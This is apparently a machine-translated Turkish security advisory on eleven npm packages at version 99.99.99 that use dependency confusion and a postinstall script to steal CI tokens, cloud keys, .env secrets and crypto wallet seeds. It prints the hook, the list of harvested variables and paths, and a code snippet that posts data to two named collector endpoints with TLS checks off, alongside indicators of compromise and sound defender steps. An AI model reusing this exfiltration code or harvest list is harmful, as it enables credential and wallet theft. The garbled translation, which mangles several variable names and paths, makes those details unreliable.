CryptoDAO Karmaşası: npm Paketlerinden Veri Toplama CI/CD ve Kripto Sırları

CryptoDAO Karmaşası: on bir npm paketi, bir yük, veri toplama CI/CD ve kripto cüzdan sırları

TL; DR

17 Haziran 2026 tarihinde tek bir npm hesabı yayınlandı. Tek bir amaca ve tek bir yüke sahip on bir paketOnlardan on tanesi şunu taşıyor: cryptodao- önek (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); on birincisi kapsamlı olandır. @public-for-cdao/coreHer biri şu sürümde yayınlandı. 99.99.99 ve bayt cinsinden özdeş bir gemi gönderiyor recon.js devam ediyor postinstall.

İsimler her şeyi anlatıyor. Bir kripto/DAO projesinin özel araç zincirinin iç yapı taşları gibi okunuyorlar. Yapay olarak yüksek bir sürümde halka açık npm kayıt defterine yayınlanan bu dosyalar, bir derleme için bekliyor. pipeline Bu, söz konusu isimleri çözümlemek üzere yapılandırılmış ve özel kayıt defterinden önce veya onun yerine genel npm'ye ulaşan bir sistemdir. bağımlılık karışıklığıVe yük, tam olarak nereye inmesi bekleniyorsa ona göre ayarlanmıştır: CI/CD koşucular.

Ne zaman postinstall yangınlar, recon.js Sunucu bilgilerini toplar, kabaca tarama yapar. kırk bulut, CI ve kripto cüzdanı ortam değişkeniherhangi birini okur .env Bulabildiği dosyaları tarar ve gizli bilgileri içeren satırları olduğu gibi iletir, ardından paketi iki toplayıcıya gönderir. webhook.site ve TLS sertifika doğrulaması devre dışı bırakılmış bir Pipedream uç noktası. Bir kopyası da şuraya yazılmıştır: /tmp.

Önem: yüksekEtkilenen ekosistem: npmBu yazının yazıldığı sırada on bir paketin tamamı yayındaydı.

Saldırı anatomisi

Mekanizmanın dört hareketli parçası var ve nasıl kullanılacağını öğrendikten sonra hiçbirisi karmaşık değil. Paket adının bir üst katmanına bakın.

1. Çözümleyici tuzağı olarak sürüm enflasyonu. Her paket bir sürüm belirtir. 99.99.99Bağımlılık karışıklığı, bir paket yöneticisinin bir şey istediğinde ortaya çıkar. Dahili adı kontrol eder, ayrıca genel kayıt defterini de kontrol eder ve en yüksek sürümünü seçer. npm'nin şapka işareti veya joker karakter aralığı için varsayılan seçimi şudur: Yapılandırılmış her kaynakta en yüksek tatmin sağlayan sürüm; eğer her ikisi de özel ise Aynı isim için kayıt defteri ve genel npm yanıtı arasında, daha büyük sürüm numarasına sahip olan geçerlidir. A 99.99.99 esasen bir projenin sahip olacağı herhangi bir gerçek iç sürümden daha üstündür. Ulaşıldı, bu nedenle özel kaynağa sabitlenmemiş bir çözümleyici şunu tercih eder: Herkese açık — ve bu durumda düşmanca — bir kopya. Operatörün bunu bilmesine gerek yok. Hedefin gerçek sürüm numaraları; absürt bir maksimum seçmek her zaman beraberliği garanti eder. Yollarını kesiyorlar.

2. Kurulum sonrası tetikleyici. paket.json kablolar yükü kuruluma bağlar yaşam döngüsü:

{   "scripts": { "postinstall": "node recon.js" } }

Paketin içe aktarılmasına gerek yok. Sadece CI üzerinden kurulumu yeterli. pipeline otomatik olarak çalıştırır recon.js.

3. Geniş kapsamlı gizli bir operasyon. recon.js Sonuç dizisini aşamalar halinde oluşturur:

  • Sunucu bağlamı: sunucu adı, platform ve sürüm, mimari, kullanıcı adı, çalışma ortamı. dizin.
  • Ortam değişkenleri: Yaklaşık kırk isim ve kayıttan oluşan sabit bir listeyi yineleyerek çalışır. Ayarlanmış olanların herhangi biri. Liste oldukça açıklayıcı; genel CI belirteçlerini eşleştiriyor. (CI_İŞ_TOKEN, CI_KAYIT_ŞİFRESİ, GITLAB_ERİŞİM_BELİRTEÇİ) ve bulut kimlik bilgileri (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) kayıt defteri ve kapsayıcı sırlarıyla birlikte (NPM_TOKEN, DOCKER_ŞİFRESİ, LİMAN_ŞİFRESİ) ve belirgin bir şekilde kripto temalı bir küme:  ÖZEL_ANAHTAR, HATIRLATICI, TOHUM_İFADE, INFURA_API_ANAHTARI, ALKİMYA_API_ANAHTARI, ETH_RPC, BSC_RPCKaydedilen değerler ilk 50 karaktere kadar kısaltılır.
  • .env Dosyalar: Bir yol listesini inceler — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ve .üretme/.gelişim varyantlar — ve var olan her dosya için, İçeriği eşleşen satırlara filtreler. ANAHTAR|GİZLİ|JENERATÖR|ŞİFRE|ÖZEL|HATIRLATICI ve bu satırları **tam ve kesilmemiş haliyle** sonuçlara ekler.
  • Derleme sunucusu bağlamı: İlk 20 girdiyi listeler. /yapılar/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, ve / Tmp /.

Yol listesi ve değişken listesi GitLab çalıştırıcılarına ağırlık verilerek oluşturulmuştur, bu da şunu gösterir: Yük, geliştiriciden ziyade doğrudan kendi kendine barındırılan CI altyapısına yöneliktir. Dizüstü bilgisayar. Hasat listesini kategoriye göre gruplandırmak, hedeflenen hasadı açıkça ortaya koyar:

Kategoriler Ulaşılan değişkenler / yollar
CI/CD kimlik ve dağıtım CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
bulut AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Kayıt ve konteyner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Veri depoları DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto para / blok zinciri PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Mesajlaşma SLACK_TOKEN, DISCORD_TOKEN
Disk üzerinde .env aile + /home/gitlab-runner/.env, /root/.env, /app/**/.env; dizin listeleri /builds/, /var/lib/gitlab-runner/

Kripto kümesi, bunu genel bir CI gizli anahtarından ayıran kısımdır. sweep: cüzdan kurtarma ifadeleri ve imzalama anahtarları yalnızca belirli bir ortamda görünür. ve bunlar doğrudan blok zinciri projesine eşleniyor. kriptodao-/imzalayan/sözleşmeleri Taşıyıcıların adlandırılması.

4. Doğrulama devre dışı bırakılmış çift veri sızdırma. Toplanan dizi şudur: Seri hale getirildi ve iki hedefe POST edildi:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

Yetkisiz reddedildi: yanlış Giden bağlantılar için TLS sertifika kontrollerini devre dışı bırakır. Çağrılar. Aynı veriler standart çıktıya yazdırılır (bu nedenle CI iş günlüklerine de yansır) ve yazılır /tmp/.npm_recon_ .jsonHatalar sessizce yutulur, bu yüzden Başarısız gönderim, kurulum çıktısında tek bir noktadan başka hiçbir iz bırakmaz. [keşif] üzerine kuruldu hattı.

Dosyadaki önde gelen bir yorumda bu durum "Bağımlılık Karmaşası" olarak tanımlanıyor. "Keşif Yükü." Ortam değerlerinin 50 karaktere kadar kısaltılması Bir konseptin kanıtı niteliğindeki şekil. Onu sadece varlık bildiren bir işaretçiden ayıran şey ise şudur: .env İşlem: Gizli bilgiler içeren satırlar eksiksiz olarak iletilir ve varış noktalarına iletilir. Burada, yalnızca sayım yapan bir alıcı yerine, saldırgan tarafından kontrol edilen iki çalışan toplayıcı bulunmaktadır. isabetler.

Tarihçesi

Yayınlama kalıbı, on bir değil, tek bir komut dosyasıyla gerçekleştirilen push işleminin imzasıdır. bağımsız yüklemeler.

Zaman (UTC, 2026-06-17) Etkinlikler
03:24:58 cryptodao-bot@99.99.99 yayınlanan
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — dürbünlü varyant, yaklaşık 24 dakika sonra

29 saniyelik bir süre içinde on paket gönderildi, yani yaklaşık her üç saniyede bir paket. Kapsamlı @public-for-cdao/core Yaklaşık 24 dakika sonra ikinci bir olay yaşandı. Aynı hedef için kullanılan adlandırma kuralı, kullanan projenin aynı hedefe referans vermesi durumunda geçerlidir. Dahili araç zinciri, salt isimler yerine bir kapsam altında belirtilmiştir.

Uzlaşma göstergeleri

Menşei Gösterge
Kolektör hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektör hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Kancayı takın postinstall: node recon.js
Dosya bırakıldı /tmp/.npm_recon_<timestamp>.json
Kütük işaretçisi [recon] <pkg>@<ver> installed on <hostname> (CI günlüklerindeki stdout)
Davranışsal rejectUnauthorized: false kurulum sırasında giden HTTPS'de
Yükünü recon.jsOn bir paketin tamamında aynı olan (ortak bir derleme)
Sürümü 99.99.99 her pakette
Paketler cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (herşey 99.99.99)
Publisher aduljune / aduljune@proton.me (E-posta doğrulanmamış, bağlantılı kaynak deposu yok)

 Atıf ve gözlemlenen davranış

Küme ile ilgili her şey tek bir eli işaret ediyor. On bir paketin tamamı yayınlandı. npm hesabı tarafından yetişkin haziran (aduljune@proton.meDoğrulanmamış, hiçbir adresi olmayan bir adres (bağlantılı kaynak deposu), 25 dakikalık bir süre içinde, aynı anda 99.99.99 versiyonu bir nakliye recon.js içeriği her birinde bayt bayt aynı olan Paket (çıkarılan on bir kopyanın tamamında MD5 eşleşmeleri mevcut). Bu, tek bir zararlı yazılımdır. Bağımsız kod tekrar kullanımı değil, isim listesine damgalanmış hali.

İsim listesi, hedeflenen alanı tanımlar. kriptodao-* hem de cdao tanımlamak Kripto/DAO projesinin özel modül düzeni ve yükün hasat listesi Tahmini yansıtıyor: genel CI ve bulut sırlarının yanı sıra, özellikle uzanmak ÖZEL_ANAHTAR, HATIRLATICI, TOHUM_İFADEve Ethereum/BSC RPC ve sağlayıcı anahtarları. .env GitLab-runner'da arama yolları ve dizin listeleri bulunur. Belirli. Gözlemlenebilir etki, herhangi bir pipeline bunları yüklemeye kandırıldım İsimler, CI token'larını, bulut anahtarlarını ve disk üzerindeki verilerini iletecektir. .env sırlar — ve bunun için Bir blockchain projesi ve cüzdan içeriği, iki üçüncü taraf toplayıcıya aktarılıyor.

Hesabı kimin işlettiği veya hesapla ne yapmayı planladığı konusunda herhangi bir iddiamız bulunmamaktadır. Veriler. Kendi başlarına anlam ifade eden gerçekler: İsimler belirli bir türü hedefliyor. Dahili araç zinciri, yük gerçek gizli değerleri okur ve iletir ve Altyapı aktif durumdaydı.

Etki, trendler ve savunmacılara yönelik rehberlik

Bağımlılık karışıklığı Etkinliğini korumasının nedeni, çözümleyici davranışını kullanmasıdır, başka bir nedenden dolayı değil. Herhangi bir paketteki güvenlik açığı. Buradaki taşıyıcı önemsizdir - neredeyse boş on bir paket. paketler — ama patlama yarıçapı ne olursa olsun pipeline yanlışlıkla public npm'yi tercih ediyor Dahili bir ad için. CI çalıştırıcıları bunun gerçekleşmesi için en kötü yerlerdir: çünkü onlar bu bilgileri tutarlar. tam olarak jetonlar ve .env Bu zararlı yazılımın okuduğu dosyalar ve bunlar yükleniyor. bağımlılıklar etkileşimli olmayan bir şekilde, yani bir kurulum sonrası Kimsenin gözetimi olmadan koşuyor.

Bu küme, sürekli gördüğümüz bir kalıba da uyuyor: kurulum sırasında ortaya çıkan ve şu özellikleri gösteren veri paketleri. Gerçek kimlik bilgilerinin toplanması sırasında "araştırma" veya "keşif" adı altında yapılan işlemler. Dosyadaki değişiklik, kodun çalıştırıcıda yaptığı işi değiştirmez. İki tasarım tercihi bunu korur. Etkinlik sessiz: Her ağ ve dosya sistemi işlemi bir sessizliğe bürünür. Hataları (örneğin engellenmiş bir gönderim veya eksik bir dosya) ortadan kaldıran istisna işleyici. Herhangi bir teşhis çıktısı üretmiyor ve yazdırılan tek şey zararsız bir metin. [recon] … kuruldu Normal kurulum konuşmalarına karışan bir satır. Kullanımı webhook.site Pipedream de bilinçli bir kolaylık sunuyor; ikisi de ücretsiz. İstek yakalama hizmetleri anında sağlanır, böylece operatörün herhangi bir sunucuya ihtiyacı olmaz. Kendi adresleri ve hedef adresler, çıkış günlüklerinde sıradan SaaS sunucu adları gibi görünüyor.

Ekonomik yönü, bu durumu savunmacıların dikkatini çekmeye değer kılan şeydir, ancak Taşıyıcı kodu önemsizdir. On bir isim kaydetmenin hiçbir maliyeti yoktur, veri yükü bir tanedir. Dosya on bir kez kopyalandı ve paket yöneticisi tüm yürütmeyi gerçekleştirdi. Tek bir yanlış yapılandırılmış pipeline Bu isimlerden herhangi birini kullanan her yer, tüm masrafları karşılar. çalışma.

Savunmacılar için somut adımlar:

  • Dahili kapsamları özel kayıt defterinize sabitleyin. npm'i dahili adlar için yapılandırın
     ve kapsamlar yalnızca kayıt defterinize göre çözümlenir (kapsamlı .npmrc kayıt defteri eşlemeleri,
    (veya sahip olduğunuz ad alanları için halka açık npm'ye asla düşmeyen bir proxy). Başka kimsenin kaydetmemesi için halka açık kapsam adlarınızı ayırın.
  • Commit kilit dosyalarını ve –ignore-scripts seçeneğini kullanarak kurulumu gerçekleştirin. CI'da mümkün olduğu yerlerde veya Kurulum komut dosyalarına gerçekten ihtiyaç duyan az sayıdaki bağımlılığı inceleyin.  recon.js şu durumlarda çalıştırılamaz: kurulum sonrası yürütülmez.
  • İçsel bir isme benzeyen bir şeyin 99.99.99 (veya diğer absürt derecede yüksek) bir versiyonunu ele alın. bir uyarı işareti olarak Bağımlılık incelemesi ve kayıt izleme alanında.
  • Kurulum sırasında çıkış işlemine ilişkin uyarı. A kurulum sonrası giden bir HTTPS bağlantısı açan bağlantı — özellikle sertifika doğrulaması devre dışı bırakıldığında — Webhook.site, Pipedream veya benzeri istek yakalama servislerini ağ kenarında engellemek ve derleme günlüklerinde işaretlemek faydalı olabilir.
  • Eserlerin peşine düş. Koşucuları kontrol edin /tmp/.npm_recon_*.json ve için [recon] … son CI günlüklerinde işaretleyiciye yüklendi. Bulunursa, her seferinde döndürün. kimlik bilgileri buna maruz kaldı pipeline — CI token'ları, bulut anahtarları, kayıt defteri token'ları ve ortamda veya .env dosyalarında bulunan tüm cüzdan tohumları veya özel anahtarlar.

Referanslar

Bu küme hakkında, yazım anında herhangi bir dış raporlama mevcut değildi; analiz Yukarıdaki bilgiler doğrudan yayınlanan paket içeriğine dayanmaktadır.

sca-tools-software-composition-analysis-tools
Yazılım risklerinizi önceliklendirin, giderin ve güvence altına alın.
Ücretsiz hesabınızı alın.
Hiçbir kredi kartı gerekmektedir.

Yazılım Geliştirme ve Teslimatınızı Güvence Altına Alın

Xygeni Ürün Paketi ile